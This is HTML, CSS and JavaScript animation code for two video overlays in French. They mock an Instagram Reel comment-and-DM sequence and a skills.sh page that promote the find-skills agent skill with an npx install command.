  #composer { position: absolute; left: 0; top: 204px; width: 400px; height: 59.12px; background: #262626; }
  #composer .hair { position: absolute; left: 0; top: 0; width: 400px; height: .5px; background: rgba(255,255,255,.12); }
  #cav2 { position: absolute; left: 14px; top: 13px; width: 32px; height: 32px; border-radius: 50%; overflow: hidden; }
  #field { position: absolute; left: 56px; top: 9px; width: 330px; height: 40px; border-radius: 20px; border: 1px solid #3c3c3c; box-sizing: border-box; }
  #ftext { position: absolute; left: 15px; top: 0; height: 38px; display: flex; align-items: center; font-size: 17px; font-weight: 600; letter-spacing: .2px; }
  #ftext span { display: inline-block; }
  #ph { position: absolute; left: 15px; top: 0; height: 38px; display: flex; align-items: center; font-size: 15px; color: #8e8e8e; letter-spacing: -.1px; }
  #caret { width: 2px; height: 21px; border-radius: 1px; background: #0095F6; margin-left: 1px; }
  #pub { position: absolute; right: 15px; top: 0; height: 38px; display: flex; align-items: center; font-size: 15px; font-weight: 700; color: #0095F6; transform-origin: 70% 50%; }
  /* iOS communication notifications: sender avatar with the app badge, name + time, three lines of body, the attachment
     thumbnail on the right. The newest drops on top, the older ones tuck behind it (iOS stack). */
  .ban { position: absolute; left: 23px; top: 50px; width: 354px; height: 100px; border-radius: 22px; background: rgba(36,36,38,.97);
    box-shadow: 0 10px 34px rgba(0,0,0,.42), 0 0 0 .5px rgba(255,255,255,.09) inset; transform-origin: 50% 100%; }
  .ban .av { position: absolute; left: 12px; top: 29px; width: 40px; height: 40px; border-radius: 50%; }
  .ban .badge { position: absolute; left: 35px; top: 52px; width: 19px; height: 19px; border-radius: 5.5px; overflow: hidden; box-shadow: 0 0 0 1.6px rgba(36,36,38,1); }
  .ban .badge img { width: 100%; height: 100%; transform: scale(1.06); }
  .ban .tx { position: absolute; left: 64px; top: 11px; width: 228px; }
  .ban .t1 { font-size: 15.5px; line-height: 20px; font-weight: 700; letter-spacing: -.2px; white-space: nowrap; }
  .ban .t1 span { font-weight: 400; color: #a3a3a3; font-size: 13px; letter-spacing: -.05px; }
  .ban .t2 { font-size: 14.5px; line-height: 19px; letter-spacing: -.2px; margin-top: 1px; white-space: nowrap; }
  .ban .t2 code { font-family: inherit; }
  .ban .when { position: absolute; right: 14px; top: 11px; font-size: 12.8px; line-height: 18px; color: #a3a3a3; letter-spacing: -.05px; }
  .ban .thumb { position: absolute; right: 13px; top: 38px; width: 38px; height: 38px; border-radius: 9px; background: #fff; overflow: hidden; }
  .ban .thumb img { position: absolute; left: 4px; top: 4px; width: 30px; height: 30px; }
  .ban .shade { position: absolute; inset: 0; border-radius: 22px; background: #000; }
  /* the viewer's finger */
  #dot { position: absolute; left: 0; top: 0; width: 34px; height: 34px; margin: -17px 0 0 -17px; border-radius: 50%; z-index: 60;
    box-sizing: border-box; border: 2px solid rgba(255,255,255,.95); box-shadow: 0 2px 10px rgba(0,0,0,.3); }
  .rip { position: absolute; left: 0; top: 0; width: 60px; height: 60px; margin: -30px 0 0 -30px; border-radius: 50%; z-index: 59;
    box-sizing: border-box; border: 2px solid rgba(255,255,255,.9); }
</style></head>
<body><div id="app">
  <div id="gtop"></div><div id="gbot"></div>

  <div id="status" class="tsh"><span>9:41</span><div class="ic">
    <svg width="18" height="12" viewBox="0 0 18 12" fill="#fff"><rect x="0" y="8" width="3" height="4" rx="1"/><rect x="5" y="5.5" width="3" height="6.5" rx="1"/><rect x="10" y="3" width="3" height="9" rx="1"/><rect x="15" y="0" width="3" height="12" rx="1"/></svg>
    <svg width="16" height="12" viewBox="0 0 16 12" fill="#fff"><path d="M8 2.6c2.2 0 4.2.85 5.7 2.250l1.2-1.25C13.1 1.9 10.7.9 8 .9S2.9 1.9 1.1 3.6l1.2 1.25C3.8 3.45 5.8 2.6 8 2.6z"/><path d="M8 6.1c1.25 0 2.4.5 3.250 1.3l1.2-1.25A6.4 6.4 0 0 0 8 4.4c-1.7 0-3.3.65-4.45 1.750l1.2 1.25C5.6 6.6 6.75 6.1 8 6.1z"/><path d="M8 9.4l2-2.05a2.8 2.8 0 0 0-4 0z" transform="translate(0 1.4)"/></svg>
    <svg width="27" height="13" viewBox="0 0 27 13"><rect x=".5" y=".5" width="23" height="12" rx="3.6" fill="none" stroke="rgba(255,255,255,.45)"/><rect x="2" y="2" width="18" height="9" rx="2.2" fill="#fff"/><path d="M25 4.5v4c.8-.3 1.3-1.1 1.3-2s-.5-1.7-1.3-2z" fill="rgba(255,255,255,.45)"/></svg>
  </div></div>

  <div id="rtitle" class="tsh">Reels<svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="#fff" stroke-width="3" stroke-linecap="round" stroke-linejoin="round" style="margin-top:3px"><path d="M6 9l6 6 6-6"/></svg></div>
  <div id="rcam" class="sh"><svg width="26" height="26" viewBox="0 0 24 24" fill="none" stroke="#fff" stroke-width="1.9" stroke-linejoin="round"><path d="M3 8.6c0-1.2 1-2.1 2.1-2.1h2.3l1.4-2h6.4l1.4 2h2.3c1.2 0 2.1 1 2.1 2.1v9.3c0 1.2-1 2.1-2.1 2.1H5.1C4 20 3 19 3 17.9z"/><circle cx="12" cy="12.8" r="3.7"/></svg></div>

  <div class="rail">
    <div class="it sh rit" style="top:420px">
      <svg width="28" height="28" viewBox="0 0 24 24"><path fill="#fff" d="M16.792 3.904A4.989 4.989 0 0 1 21.5 9.122c0 3.072-2.652 4.959-5.197 7.222-2.512 2.243-3.865 3.469-4.303 3.752-.477-.309-2.143-1.823-4.303-3.752C5.141 14.072 2.5 12.167 2.5 9.122a4.989 4.989 0 0 1 4.708-5.218 4.21 4.21 0 0 1 3.675 1.941c.84 1.175.98 1.763 1.12 1.763s.278-.588 1.11-1.766a4.17 4.17 0 0 1 3.679-1.938m0-2a6.04 6.04 0 0 0-4.797 2.127 6.052 6.052 0 0 0-4.787-2.127A6.985 6.985 0 0 0 .5 9.122c0 3.61 2.550 5.827 5.015 7.970.283.246.569.494.853.747l1.027.918a44.998 44.998 0 0 0 3.518 3.018 2 2 0 0 0 2.174 0 45.263 45.263 0 0 0 3.626-3.115l.922-.824c.293-.26.59-.519.885-.774 2.334-2.025 4.98-4.32 4.98-7.940a6.985 6.985 0 0 0-6.708-7.218Z"/></svg>
      <div class="ct tsh">24,1&nbsp;k</div>
    </div>
    <div class="it sh rit" style="top:481px">
      <svg id="comsvg" width="28" height="28" viewBox="0 0 24 24" fill="none" stroke="#fff" stroke-width="2" stroke-linejoin="round"><path d="M20.656 17.008a9.993 9.993 0 1 0-3.59 3.615L22 22Z"/></svg>
      <div class="ct tsh">3&nbsp;408</div>
    </div>
    <div class="it sh rit" style="top:542px">
      <svg width="27" height="27" viewBox="0 0 24 24" fill="none" stroke="#fff" stroke-width="2" stroke-linejoin="round"><line x1="22" x2="9.218" y1="3" y2="10.083"/><polygon points="11.698 20.334 22 3.001 2 3.001 9.218 10.084 11.698 20.334"/></svg>
      <div class="ct tsh">6&nbsp;912</div>
    </div>
    <div class="it sh rit" style="top:602px">
      <svg width="24" height="24" viewBox="0 0 24 24" fill="#fff"><circle cx="5" cy="12" r="1.7"/><circle cx="12" cy="12" r="1.7"/><circle cx="19" cy="12" r="1.7"/></svg>
    </div>
  </div>
  <div id="audio"><img src="../assets/images/avatar.png"></div>

  <div id="info" class="tsh">
    <div class="who"><img src="../assets/images/avatar.png"><b>toncompte</b><div id="follow">Suivre</div></div>
    <div id="cap">Commente FINDER, je t'envoie le skill<i>… plus</i></div>
    <div id="music"><svg width="12" height="12" viewBox="0 0 24 24" fill="#fff"><path d="M9 3v11.6A3.5 3.5 0 1 0 11 18V8h8V3z"/></svg><span>toncompte · Son original</span></div>
  </div>

  <div id="dim"></div>
  <div id="sheet">
    <div id="list"></div>
    <div id="handle"></div>
    <div id="stitle">Commentaires</div>
    <div id="splane"><svg width="22" height="22" viewBox="0 0 24 24" fill="none" stroke="#f5f5f5" stroke-width="2" stroke-linejoin="round"><line x1="22" x2="9.218" y1="3" y2="10.083"/><polygon points="11.698 20.334 22 3.001 2 3.001 9.218 10.084 11.698 20.334"/></svg></div>
    <div id="hair"></div>
    <div id="composer">
      <div class="hair"></div>
      <div id="cav2"></div>
      <div id="field"><div id="ph">Ajouter un commentaire…</div><div id="ftext"><span id="typed"></span><i id="caret"></i></div><div id="pub">Publier</div></div>
    </div>
  </div>

  <div id="bans"></div>
  <div class="rip" id="rip0"></div><div class="rip" id="rip1"></div>
  <div id="dot"></div>
</div>
<script>
const $ = id => document.getElementById(id);
const clamp = (v, a = 0, b = 1) => Math.min(b, Math.max(a, v));
const seg = (t, a, b) => clamp((t - a) / (b - a));
// critically damped spring from rest (never overshoots)
const S = (x, w = 14) => x <= 0 ? 0 : 1 - (1 + w * x) * Math.exp(-w * x);
// same spring with a launch velocity k in [0,1]: still never overshoots
const SV = (x, w = 14, k = .6) => x <= 0 ? 0 : 1 - (1 + w * (1 - k) * x) * Math.exp(-w * x);
const out = p => 1 - Math.pow(1 - p, 3), io = p => p < .5 ? 4 * p * p * p : 1 - Math.pow(-2 * p + 2, 3) / 2;
const lerp = (a, b, p) => a + (b - a) * p;
// a press that rises and settles back to 0, never below 0
const bump = (d, tau) => d <= 0 ? 0 : (d / tau) * Math.exp(1 - d / tau);
const HEART_O = 'M16.792 3.904A4.989 4.989 0 0 1 21.5 9.122c0 3.072-2.652 4.959-5.197 7.222-2.512 2.243-3.865 3.469-4.303 3.752-.477-.309-2.143-1.823-4.303-3.752C5.141 14.072 2.5 12.167 2.5 9.122a4.989 4.989 0 0 1 4.708-5.218 4.21 4.21 0 0 1 3.675 1.941c.84 1.175.98 1.763 1.12 1.763s.278-.588 1.11-1.766a4.17 4.17 0 0 1 3.679-1.938m0-2a6.04 6.04 0 0 0-4.797 2.127 6.052 6.052 0 0 0-4.787-2.127A6.985 6.985 0 0 0 .5 9.122c0 3.61 2.55 5.827 5.015 7.97.283.246.569.494.853.747l1.027.918a44.998 44.998 0 0 0 3.518 3.018 2 2 0 0 0 2.174 0 45.263 45.263 0 0 0 3.626-3.115l.922-.824c.293-.26.59-.519.885-.774 2.334-2.025 4.98-4.32 4.98-7.94a6.985 6.985 0 0 0-6.708-7.218Z';
const HEART_F = 'M16.792 1.904a6.04 6.04 0 0 0-4.797 2.127 6.052 6.052 0 0 0-4.787-2.127A6.985 6.985 0 0 0 .5 9.122c0 3.61 2.55 5.827 5.015 7.97.283.246.569.494.853.747l1.027.918a44.998 44.998 0 0 0 3.518 3.018 2 2 0 0 0 2.174 0 45.263 45.263 0 0 0 3.626-3.115l.922-.824c.293-.26.59-.519.885-.774 2.334-2.025 4.98-4.32 4.98-7.94a6.985 6.985 0 0 0-6.708-7.218Z';
const HEART = fill => `<svg width="15" height="15" viewBox="0 0 24 24"><path fill="${fill}" d="${fill === '#ff3040' ? HEART_F : HEART_O}"/></svg>`;
// Instagram's default avatar (the viewer, « toi »)
const DEFAV = '<svg viewBox="0 0 32 32"><circle cx="16" cy="16" r="16" fill="#4d4d4d"/><circle cx="16" cy="12.6" r="5.6" fill="#c4c4c4"/><path d="M5.6 27.6c1.8-4.9 5.9-7.5 10.4-7.5s8.6 2.6 10.4 7.5A15.9 15.9 0 0 1 16 32a15.9 15.9 0 0 1-10.4-4.4z" fill="#c4c4c4"/></svg>';
const AV = '../assets/images/avatar.png', IG = '../assets/logos/instagram.png', SK = '../assets/logos/skills-sh.png';

// ---- event times (seconds from the overlay start = short 28.79). Words: Tu 0, le .09, veux .16, Commente .34, FINDER .65,
// et 1.09, je 1.16, t'envoie 1.23, le 1.44, skill 1.52, du 1.80, moment 1.88, que 2.09, tu 2.18, me 2.26, suis 2.40
// (voice ends ~2.6, then the frame holds to 5.35 while the DMs keep landing)
const TAP_COM = .30, T_SHEET = .33, TAP_FIELD = .62, TYPE = [.70, .78, .86, .94, 1.02, 1.10], T_PUB_ON = .70, TAP_PUB = 1.25, T_POST = 1.29;
const T_BAN = [2.00, 2.90, 3.80], T_OTHER = [2.50, 3.40], T_LIKE = 4.45;

$('cav2').innerHTML = DEFAV;
const OLD = [
  ['lucas.dev', '1 min', 'FINDER', 'linear-gradient(135deg,#2bb673,#0b6e4f)', 'L', '41'],
  ['nina.codes', '2 min', 'FINDER', 'linear-gradient(135deg,#ff7a59,#c2185b)', 'N', '28'],
  ['tom_saas', '5 min', 'Il était temps que quelqu\'un en parle', 'linear-gradient(135deg,#5b4bdb,#1b9cff)', 'T', '63'],
];
const mkRow = (name, age, text, av, likes, hl) => {
  const r = document.createElement('div'); r.className = 'crow';
  r.innerHTML = (hl ? '<div class="hl"></div>' : '') + `<div class="cav"${av.bg ? ` style="background:${av.bg}"` : ''}>${av.html}</div>
    <div class="cbody"><div class="cname"><b>${name}</b><span>${age}</span></div><div class="ctext">${text}</div><div class="creply">Répondre</div></div>
    <div class="clike"><div class="hw"><div class="h0">${HEART('#a8a8a8')}</div><div class="h1">${HEART('#ff3040')}</div></div><span class="lk">${likes}</span></div>`;
  $('list').appendChild(r); return r;
};
const LIST_TOP = 54, ROW_H = 60;
const oldRows = OLD.map(([n, a, tx, bg, ini, l]) => mkRow(n, a, tx, { bg, html: ini }, l));
const newRow = mkRow('toi', "à l'instant", 'FINDER', { html: DEFAV }, '', true);
const others = [
  mkRow('julie.codes', "à l'instant", 'FINDER', { bg: 'linear-gradient(135deg,#f7b733,#fc4a1a)', html: 'J' }, ''),
  mkRow('sarah.dev', "à l'instant", 'FINDER', { bg: 'linear-gradient(135deg,#00b4db,#0083b0)', html: 'S' }, ''),
];
[...oldRows, ...others].forEach(r => r.querySelector('.h1').style.opacity = 0);
const letters = 'FINDER'.split('').map(c => { const s = document.createElement('span'); s.textContent = c; $('typed').appendChild(s); return s; });
const railIt = [...document.querySelectorAll('.rit')], infoIt = [...$('info').children];
const nh0 = newRow.querySelector('.h0'), nh1 = newRow.querySelector('.h1'), nhw = newRow.querySelector('.hw'), nlk = newRow.querySelector('.lk');

// DM banners: the viewer's, then two other followers' (same message, the recipient named next to the sender)
const MSG = 'Voici le skill find-skills :<br>npx skills add vercel-labs/skills<br>--skill find-skills';
const BANS = [['', MSG], ['à julie.codes', MSG], ['à sarah.dev', MSG]].map(([to, msg], i) => {
  const b = document.createElement('div'); b.className = 'ban'; b.style.zIndex = 40 + i;
  b.innerHTML = `<img class="av" src="${AV}"><div class="badge"><img src="${IG}"></div>
    <div class="tx"><div class="t1">toncompte${to ? ` <span>${to}</span>` : ''}</div><div class="t2">${msg}</div></div>
    <div class="when">maintenant</div><div class="thumb"><img src="${SK}"></div><div class="shade"></div>`;
  $('bans').appendChild(b); return b;
});

// the viewer's finger: [t0, t1, x, y] eased moves (CSS px); it drifts to Publier while the letters are typed
const COM = [357, 495], FIELD = [170, 681], PUB = [348, 681];
const MOVES = [[0, 0, 318, 600], [.04, .27, COM[0], COM[1]], [.40, .58, FIELD[0], FIELD[1]], [.86, 1.16, PUB[0], PUB[1]], [1.36, 1.60, 320, 770]];
const TAPS = [TAP_COM, TAP_FIELD, TAP_PUB];
function curAt(t) {
  let x = MOVES[0][2], y = MOVES[0][3];
  for (const [a, b, nx, ny] of MOVES) { if (t < a) break; const p = b > a ? io(seg(t, a, b)) : 1; x = lerp(x, nx, p); y = lerp(y, ny, p); }
  return [x, y];
}
const pressAt = (t, a) => { const d = t - a; return d > -.05 && d < .09 ? clamp(1 - Math.abs(d - .015) / .065) : 0; };
const show = (el, v) => { el.style.display = v > .001 ? '' : 'none'; };

window.setT = function (t) {
  // the chrome is there from the first frame (a quick settle), the rail and the info fade under the opening sheet
  const hc = io(seg(t, T_SHEET + .02, T_SHEET + .2));
  const g = clamp(seg(t, 0, .16));
  $('gtop').style.opacity = g; $('gbot').style.opacity = g * (1 - hc);
  [['status', 0], ['rtitle', .02], ['rcam', .04]].forEach(([id, d]) => {
    const q = SV(t - d, 22, .7), el = $(id);
    el.style.transform = `translateY(${-14 * (1 - q)}px)`; el.style.opacity = clamp(q * 1.5);
  });
  railIt.forEach((el, i) => {
    const q = SV(t - i * .025, 22, .7);
    el.style.transform = `translateX(${36 * (1 - q)}px)`; el.style.opacity = clamp(q * 1.6) * (1 - hc);
  });
  { const q = SV(t - .08, 22, .7); $('audio').style.transform = `translateX(${36 * (1 - q)}px) rotate(${(t * 40) % 360}deg)`; $('audio').style.opacity = clamp(q * 1.6) * (1 - hc); }
  infoIt.forEach((el, i) => {
    const q = SV(t - (.02 + i * .03), 22, .7);
    el.style.transform = `translateY(${16 * (1 - q)}px)`; el.style.opacity = clamp(q * 1.5) * (1 - hc);
  });
  $('comsvg').style.transform = `scale(${1 - .2 * pressAt(t, TAP_COM)})`;

  // sheet slides up over the bottom of the reel (the face stays in the clear), an 8 % dim at most on the reel
  const ps = SV(t - T_SHEET, 18, .6);
  $('sheet').style.transform = `translateY(${(1 - ps) * 290}px)`; show($('sheet'), ps);
  $('dim').style.opacity = .08 * ps; show($('dim'), ps);
  const hq = S(t - (T_SHEET + .05), 20);
  $('stitle').style.opacity = hq; $('splane').style.opacity = hq;

  // list: your comment slides in on top on Publier and stays pinned there, the other followers' FINDER land under it
  const pn = SV(t - T_POST, 16, .5), po = T_OTHER.map(a => SV(t - a, 15, .5)), pos = po[0] + po[1];
  oldRows.forEach((r, i) => {
    const q = S(t - (T_SHEET + .08 + i * .04), 18);
    r.style.top = (LIST_TOP + (i + pn + pos) * ROW_H + (1 - q) * 14) + 'px'; r.style.opacity = q;
  });
  const slotIn = (r, p, top) => {
    r.style.display = p > 0 ? '' : 'none';
    r.style.top = top + 'px'; r.style.opacity = clamp((p - .08) / .45);
    r.style.clipPath = `inset(0 0 ${(1 - p) * ROW_H}px 0)`;
    r.style.transform = `scale(${.97 + .03 * p})`; r.style.transformOrigin = '20% 0%';
  };
  slotIn(newRow, pn, LIST_TOP);
  slotIn(others[1], po[1], LIST_TOP + ROW_H);
  slotIn(others[0], po[0], LIST_TOP + ROW_H + po[1] * ROW_H);
  newRow.querySelector('.hl').style.opacity = clamp(pn * 2) * (1 - .5 * io(seg(t, 3.0, 3.6)));
  // toncompte likes your comment (the red heart fills in) during the hold
  const lq = S(t - T_LIKE, 20);
  nh1.style.opacity = lq; nh0.style.opacity = 1 - lq;
  nhw.style.transform = `scale(${1 + .28 * bump(t - T_LIKE, .08)})`;
  nlk.textContent = t >= T_LIKE ? '1' : ''; nlk.style.opacity = lq;

  // field: tapped, FINDER typed letter by letter on « FINDER », Publier lights up, cleared after the post
  const focused = t >= TAP_FIELD + .02 && t < TAP_PUB + .02, cleared = t >= TAP_PUB + .03;
  let n = 0;
  letters.forEach((s, i) => {
    const on = t >= TYPE[i] && !cleared; if (on) n++;
    const q = S(t - TYPE[i], 45);
    s.style.display = on ? '' : 'none'; s.style.transform = `translateY(${(1 - q) * 3}px) scale(${.7 + .3 * q})`; s.style.opacity = .3 + .7 * q;
  });
  $('ph').style.display = n ? 'none' : '';
  const typing = t >= TYPE[0] && t < TYPE[TYPE.length - 1] + .12;
  $('caret').style.opacity = focused && (typing || Math.floor((t - TAP_FIELD) * 2.4) % 2 === 0) ? 1 : 0;
  $('ph').style.left = (focused ? 18 : 15) + 'px';
  $('field').style.borderColor = focused ? '#555' : '#3c3c3c';
  const pon = cleared ? 0 : S(t - T_PUB_ON, 26), pp = pressAt(t, TAP_PUB);
  $('pub').style.opacity = (.35 + .65 * pon) * (1 - .45 * pp);
  $('pub').style.transform = `scale(${1 - .08 * pp})`;

  // DM banners drop in from the top; each new one lands on top and the older ones tuck behind it (iOS stack)
  const bq = T_BAN.map(a => SV(t - a, 13, .6));
  const under = 1 - clamp(bq[0] * 1.4);   // the status bar and the Reels header go under the first banner
  $('status').style.opacity = under * clamp(SV(t, 22, .7) * 1.5);
  $('rtitle').style.opacity = under * clamp(SV(t - .02, 22, .7) * 1.5); $('rcam').style.opacity = under * clamp(SV(t - .04, 22, .7) * 1.5);
  BANS.forEach((b, i) => {
    const q = bq[i]; show(b, q);
    let depth = 0; for (let j = i + 1; j < BANS.length; j++) depth += bq[j];
    b.style.transform = `translateY(${-150 * (1 - q) + 9 * depth}px) scale(${.96 + .04 * q - .055 * depth})`;
    b.style.opacity = clamp(q * 3) * (1 - clamp(depth - 1.4));
    const c = 1 - clamp((depth - .3) * 2.5);
    b.querySelectorAll('.tx,.av,.badge,.when,.thumb').forEach(e => e.style.opacity = c);
    b.querySelector('.shade').style.opacity = .3 * clamp(depth);
  });

  // finger dot + ripples
  const [fx, fy] = curAt(t);
  let press = 0; for (const a of TAPS) press = Math.max(press, pressAt(t, a));
  const vis = clamp(seg(t, .02, .12) - seg(t, 1.38, 1.56));
  show($('dot'), vis);
  $('dot').style.transform = `translate(${fx}px,${fy}px) scale(${1 - .16 * press})`;
  $('dot').style.opacity = vis; $('dot').style.background = `rgba(255,255,255,${.32 + .3 * press})`;
  const rips = TAPS.filter(a => t >= a && t < a + .42).slice(-2);
  [0, 1].forEach(i => {
    const el = $('rip' + i), a = rips[i];
    if (a === undefined) { el.style.display = 'none'; return; }
    const p = out((t - a) / .42), [rx, ry] = curAt(a);
    el.style.display = ''; el.style.transform = `translate(${rx}px,${ry}px) scale(${.45 + .85 * p})`; el.style.opacity = .85 * (1 - p);
  });
  return true;
};
window.setT(0);
</script></body></html>

<!doctype html><html><head><meta charset="utf-8">
<!-- "Ça s'appelle Find Skill et il est branché sur une bibliothèque": the real skills.sh page of find-skills (vercel-labs/skills),
     zoomed crop, dark Geist look. Title types on "Find Skill", chip + command on "et il est", blue sweep on "branché",
     camera drifts to INSTALLS 3.8M on "sur une bibliothèque". 960x840 opaque card. -->
<style>
  html, body { margin: 0; width: 960px; height: 840px; overflow: hidden; background: #0A0A0A; }
  * { box-sizing: border-box; }
  body { font-family: 'Geist', 'Inter', sans-serif; color: #EDEDED; -webkit-font-smoothing: antialiased; }
  .mono { font-family: 'Geist Mono', 'JetBrains Mono', monospace; }
  #page { position: absolute; left: 0; top: 0; width: 1400px; height: 1000px; transform-origin: 0 0; will-change: transform; }
  .abs { position: absolute; white-space: nowrap; }

  /* top bar */
  #logo { left: 48px; top: 34px; }
  #brand { left: 112px; top: 26px; font-size: 40px; line-height: 56px; font-weight: 500; letter-spacing: -0.5px; }
  #brand .sl { color: #444; margin-right: 20px; font-weight: 300; }
  #nav { left: 736px; top: 36px; font-size: 28px; line-height: 36px; color: #A1A1A1; display: flex; gap: 50px; }

  /* breadcrumb + title */
  #crumb { left: 56px; top: 140px; font-size: 36px; line-height: 44px; color: #A1A1A1; }
  #crumb .s { color: #4A4A4A; margin: 0 16px; }
  #crumb .last { color: #D4D4D4; }
  #title { left: 52px; top: 204px; font-size: 112px; line-height: 120px; font-weight: 600; letter-spacing: -3.5px; height: 120px; }
  #title span { display: inline-block; }
  #caret { position: absolute; top: 18px; width: 7px; height: 92px; background: #EDEDED; border-radius: 1px; }
  #chip { left: 56px; top: 346px; height: 60px; padding: 0 26px; border: 2px solid #2E2E2E; border-radius: 30px; font-size: 34px; line-height: 56px; color: #A1A1A1; }

  /* installation */
  #sec { left: 56px; top: 450px; width: 852px; height: 52px; }
  #sec .lab { position: absolute; left: 0; top: 6px; font-size: 34px; line-height: 40px; letter-spacing: 0.5px; color: #EDEDED; }
  #tabs { position: absolute; right: 0; top: 0; display: flex; align-items: center; gap: 10px; font-size: 34px; line-height: 52px; }
  #tabs .on { background: #2A2A2A; color: #EDEDED; border-radius: 9px; padding: 0 14px; }
  #tabs .off { color: #8F8F8F; padding: 0 6px; display: flex; align-items: center; gap: 8px; }
  #rule { left: 56px; top: 524px; width: 852px; height: 2px; background: #232323; }
  #cmd { left: 56px; top: 552px; width: 852px; padding: 24px 28px; background: #1A1A1A; border-radius: 14px; font-size: 34px; line-height: 54px; color: #D6D6D6; }
  #cmd .ln { position: relative; height: 54px; white-space: pre; }
  #cmd .ln .hl { position: absolute; left: -8px; top: 4px; height: 46px; background: rgba(37,142,255,0.30); border-radius: 6px; width: 0; }
  #cmd .ln .tx { position: relative; }
  #cmd .ln.ind .tx, #cmd .ln.ind .hl { margin-left: 41px; }
  #cmd .ln.ind .hl { left: 33px; margin-left: 0; }
  #cmd .d { color: #6E6E6E; }
  #copy { position: absolute; right: 26px; top: 30px; }
  #ring { position: absolute; inset: 0; border-radius: 14px; box-shadow: inset 0 0 0 2px #258EFF; opacity: 0; }

  /* right column */
  #side { left: 970px; top: 404px; width: 330px; }
  #side .lab { font-size: 34px; line-height: 40px; letter-spacing: 0.5px; color: #EDEDED; display: flex; align-items: center; gap: 12px; }
  #inst { font-size: 124px; line-height: 132px; font-weight: 600; letter-spacing: -4px; margin-top: 14px; }
  #spark { display: block; margin-top: 10px; }
  #repo { margin-top: 58px; }
  #repov { font-size: 34px; line-height: 44px; color: #D6D6D6; margin-top: 12px; }
</style></head><body>
<div id="page">
  <!-- top bar -->
  <svg id="logo" class="abs" width="46" height="42" viewBox="0 0 46 42"><path d="M23 2 L44 40 H2 Z" fill="#EDEDED"/></svg>
  <div id="brand" class="abs"><span class="sl">/</span>Skills</div>
  <div id="nav" class="abs"><span>Packs</span><span>Topics</span><span>Official</span><span>Audits</span><span>Docs</span></div>

  <div id="crumb" class="abs">skills<span class="s">/</span>vercel-labs<span class="s">/</span>skills<span class="s">/</span><span class="last">find-skills</span></div>
  <div id="title" class="abs"></div>
  <div id="chip" class="abs">Agent workflows</div>

  <div id="sec" class="abs"><span class="lab mono">INSTALLATION</span>
    <div id="tabs" class="mono"><span class="on">Command</span><span class="off">
      <svg width="24" height="24" viewBox="0 0 24 24"><path d="M10 3l1.8 5.2L17 10l-5.2 1.8L10 17l-1.8-5.2L3 10l5.2-1.8z M18 14l.9 2.1L21 17l-2.1.9L18 20l-.9-2.1L15 17l2.1-.9z" fill="#8F8F8F"/></svg>Prompt</span></div>
  </div>
  <div id="rule" class="abs"></div>
  <div id="cmd" class="abs mono">
    <div id="ring"></div>
    <div class="ln"><div class="hl"></div><span class="tx"><span class="d">$ </span>npx skills add</span></div>
    <div class="ln ind"><div class="hl"></div><span class="tx">https://github.com/vercel-labs/skills</span></div>
    <div class="ln ind"><div class="hl"></div><span class="tx">--skill find-skills</span></div>
    <svg id="copy" width="40" height="40" viewBox="0 0 24 24" fill="none" stroke="#8F8F8F" stroke-width="1.7" stroke-linejoin="round"><rect x="8" y="8" width="12" height="12" rx="2"/><path d="M16 8V5.5A1.5 1.5 0 0 0 14.5 4h-9A1.5 1.5 0 0 0 4 5.5v9A1.5 1.5 0 0 0 5.5 16H8"/></svg>
  </div>

  <div id="side" class="abs">
    <div class="lab mono">INSTALLS</div>
    <div id="inst" class="mono">3.8M</div>
    <svg id="spark" width="300" height="76" viewBox="0 0 300 76">
      <defs><linearGradient id="g" x1="0" y1="0" x2="0" y2="1"><stop offset="0" stop-color="#3A3A3A" stop-opacity=".9"/><stop offset="1" stop-color="#0A0A0A" stop-opacity="0"/></linearGradient></defs>
      <path d="M0 9 L40 8.4 L80 8.6 L120 7.6 L160 7.2 L200 6.6 L240 5.8 L270 4.6 L300 2.6 L300 76 L0 76 Z" fill="url(#g)"/>
      <path d="M0 9 L40 8.4 L80 8.6 L120 7.6 L160 7.2 L200 6.6 L240 5.8 L270 4.6 L300 2.6" fill="none" stroke="#7A7A7A" stroke-width="2.5"/>
    </svg>
    <div id="repo" class="lab mono">REPOSITORY
      <svg width="30" height="30" viewBox="0 0 24 24" fill="none" stroke="#EDEDED" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2.5l2.3 1.7 2.8-.2.9 2.7 2.4 1.5-.8 2.7.8 2.8-2.4 1.5-.9 2.7-2.8-.2L12 21.5l-2.3-1.7-2.8.2-.9-2.7-2.4-1.5.8-2.8-.8-2.7 2.4-1.5.9-2.7 2.8.2z"/><path d="M8.6 12.2l2.3 2.3 4.6-4.8"/></svg></div>
    <div id="repov" class="mono">vercel-labs/skills</div>
  </div>
</div>
<script>
const $ = id => document.getElementById(id);
const clamp = (x, a = 0, b = 1) => Math.min(b, Math.max(a, x));
// critically damped spring: 0 -> 1, never overshoots
const S = (x, w) => x <= 0 ? 0 : 1 - (1 + w * x) * Math.exp(-w * x);
const lerp = (a, b, p) => a + (b - a) * p;

const WORD = 'find-skills';
const title = $('title');
const letters = [...WORD].map(c => { const s = document.createElement('span'); s.textContent = c; title.appendChild(s); return s; });
const caret = document.createElement('div'); caret.id = 'caret'; title.appendChild(caret);
// nav: the crop edge falls in the gap before "Official" at the start
{ const nav = $('nav'), off = nav.children[2]; nav.style.left = (736 + 992 - (736 + off.offsetLeft)) + 'px'; }
const lines = [...document.querySelectorAll('#cmd .ln')];
const lineW = lines.map(l => l.querySelector('.tx').getBoundingClientRect().width);

// camera: start = page as laid out; end = INSTALLS column brought in, slight zoom toward it
const CAM0 = { s: 1, x: 0, y: 0 };
const CAM1 = { s: 1, x: -434, y: -76 };

function rise(el, t, t0, dy = 22, w = 13) {
  const p = S(t - t0, w);
  el.style.opacity = p;
  el.style.transform = `translateY(${(1 - p) * dy}px)`;
}

window.setT = t => {
  // page settles down a touch at the start
  const settle = (1 - S(t, 9)) * -18;
  // camera drift to the stat
  const c = S(t - 1.50, 8);
  const s = lerp(CAM0.s, CAM1.s, c), x = lerp(CAM0.x, CAM1.x, c), y = lerp(CAM0.y, CAM1.y, c) + settle;
  $('page').style.transform = `translate(${x.toFixed(2)}px, ${y.toFixed(2)}px) scale(${s.toFixed(5)})`;

  // title types itself: .40 -> .95
  const n = clamp((t - 0.40) / 0.55, 0, 1) * WORD.length;
  letters.forEach((l, i) => l.style.opacity = clamp((n - i) * 1.6, 0, 1));
  const k = Math.min(WORD.length, Math.ceil(n - 1e-6));
  const last = k > 0 ? letters[k - 1] : null;
  caret.style.left = (last ? last.offsetLeft + last.offsetWidth + 6 : 4) + 'px';
